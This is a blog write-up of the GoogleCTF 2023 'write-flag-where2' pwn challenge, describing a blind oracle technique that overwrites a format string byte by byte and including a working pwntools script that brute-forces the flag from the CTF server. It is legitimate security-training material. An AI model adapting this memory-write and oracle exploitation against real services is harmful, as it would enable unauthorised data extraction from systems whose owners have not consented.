- vừa được xem lúc

GoogleCTF 2023 writeup - "write-flag-where2" challenge - a different solution to Google's

0 0 22

Người đăng: Vũ Duy Thành

Theo Viblo Asia

1. Introduction to the challenge

  • Category: pwn
  • This challenge is the part 2 of "write-flag-where1" challenge. It is the same binary without the "Give me..." string to overwrite. read more about the previous challenge solution here.

2. Google's solution

Google published their solution to the challenge. They solved it by writing byte 'C', 'T', 'F' and '}' into the code section in order to modify the control flow of the program. While this is a clever solution, I find it "cheaty" because you have to know that 4 bytes will be presented in the flag string. So I come up with another solution which pretty similar to the first challenge - write flag data into the data section of the loaded image, but this time we have to guess each byte of the flag string - like exploiting blind sql injection.

3. Brute-forcing solution

3.1. Brief description

We write each byte of the flag to the first byte of format string "0x%llx %u", then send the next input to guess the written byte. If the guessed character is correct, then the target application will wait for the next input. If it is not correct, the target application will break out of the loop to exit, thus causing the EOFError exception. We can observe that behavior to brute-force the whole string of the flag.

3.2. How?

Ground truth of the solution:

  • The program will break into the exit() function if the input data does not follow the given format:
    image.png
    example: "0x5654398190bc 1" is a valid input, and "Cx5654398190bc 1" is not a valid input.
  • When using client_socket.recv() in our script to receive data from the remote application:
    • if our input is invalid, the remote application will call exit(0) then our client application will receive a EOF character:
      image.png
      image.png
    • If our input is valid, the remote application continues waiting for another input, our client will just hang there waiting for data coming from the remote application :
      image.png
      image.png

3.3. Make use of such behavior of the target application

Idea: We can brute force each byte of the flag string by somehow test that byte against the format string. If the tested byte value makes the input string adhere to the format string, then we know we found the correct one.

But how can we do that? The format string is fixed, isn't it? Well, that's when our write-flag-anywhere feature comes in.

We know the base address of chal binary, we know the offset of "0xllx %u" string, so we can write the flag data into such memory space. How should we write data? We can write each byte of the flag data into the first address of the format string by writing byte_offset + 1 bytes into format_string_address - byte_offset. The format string will become "<next_flag_byte>x%llx %u".
image.png
We have to keep two format specifiers in the format string because the chal program requires 2 numbers extracted from the input:
image.png

Then to find out each byte, we just need to try each printable character until the target application does not send EOF character. Example: Our flag has the format CTF{...} so to find the first byte of the flag we need to try each byte until the payload "Cx<some_address> 0" is sent.

3.4. Implementation

Graph view of my format-string solution:
image.png

The exploit script (might take an hour to print out the whole flag 😴):

from pwn import *
import string
import tqdm
import time seed = string.printable
result = "" result_index = 0
found_char = ""
try: while found_char != "}": log.info("flag index " + str(result_index)) for found_char in tqdm.tqdm(seed): context.log_level = 'error' # only print out some thing if error occurs client_socket = remote('wfw2.2023.ctfcompetition.com', 1337) context.log_level = 'info' ### base of chal binary data = client_socket.recvuntil(b"but I've removed all the fluff\n") data = client_socket.recvuntil(b"-") base_chal = data[:-1] base_chal = int(base_chal, base=16) ### format string address format_string_offset = 0x20bc format_string_address = base_chal + format_string_offset data = client_socket.recv() try: data = client_socket.recv() except: pass payload_1 = hex(format_string_address - result_index).encode('utf-8') + b" " + str(result_index + 1).encode("utf-8") client_socket.send(payload_1) time.sleep(2) # give the target application time to do it stuff before continue receiving data payload_2 = (found_char + hex(format_string_address - result_index)[1:]).encode('utf-8') + b" " + b"0" client_socket.send(payload_2) try: client_socket.recv(timeout=1) log.success("found next char: " + found_char) result = result + found_char log.info("flag update: " + result) result_index = result_index + 1 break except EOFError: # now we know the testing character is wrong pass context.log_level = 'error' # only print out some thing if error occurs client_socket.close() context.log_level = 'info' except KeyboardInterrupt: pass log.info("\nflag is " + result)

3.5. Result

This is a blind exploitation based on network connection so in took some attempts before we finally found the flag. It failed many times in the middle of the execution so we had to begin right where it left by modifying the result_index variable. Here is the result looks like:
image.png
Pasted image 20230626134101.png

Bình luận

Bài viết tương tự

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 2)

. Như đã hứa ở cuối phần 1 thì trong phần 2 này mình sẽ nói về các lỗ hổng: PHP Type Juggling, Hard Coded, Xử lý dữ liệu quan trọng tại Client side, Sử dụng bộ sinh số ngẫu nhiên không an toàn,... Giờ thì tiếp tục với Secure Coding thôi . 3. PHP Type Junggling. Lỗ hổng typle junggling xảy ra do PHP

0 0 48

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 1)

. Văn vẻ mở đầu. Chắc hẳn các bạn sinh viên khi học các môn lập trình trên trường đều ít nhiều được nghe đến khái niệm Code sạch - Clean code: là cách đặt tên biến, tên hàm; cách code sao cho dễ đọc, đễ hiểu.

0 0 42

- vừa được xem lúc

[Write-up] Intigriti's December XSS Challenge 2020

Giới thiệu. Gần đây mình có làm thử một bài CTF về XSS của Intigriti (platform bug bounty của châu Âu) và nhờ có sự trợ giúp của những người bạn cực kỳ bá đạo, cuối cùng mình cũng hoàn thành được challenge.

0 0 47

- vừa được xem lúc

Java deserialization - Write up MatesCTF 2018 WutFaces

Mở đầu. Bài ctf này là 1 bài rất hay về lỗ hổng java deserialization mà các bạn muốn tìm hiểu về lỗ hổng này nên làm.

0 0 161

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 3)

Chắc hẳn sau phần 1 và phần 2 thì mọi người đã hiểu được mức độ quan trọng của việc đảm bảo an toàn cho sản phẩm ngay từ khi thiết kế và lập trình rồi. Ở phần 3 này, chúng ta sẽ tìm hiểu về 1 lỗ hổng

0 0 49

- vừa được xem lúc

Lần này vẫn có source code, nhưng hack thì dễ hơn

Bài trước (Đây là bài trước: https://viblo.asia/p/khi-co-source-code-roi-thi-hack-co-de-khong-maGK7G8AKj2), mình có đưa một câu hỏi là Khi có source code rồi thì hack có dễ không?.

0 0 57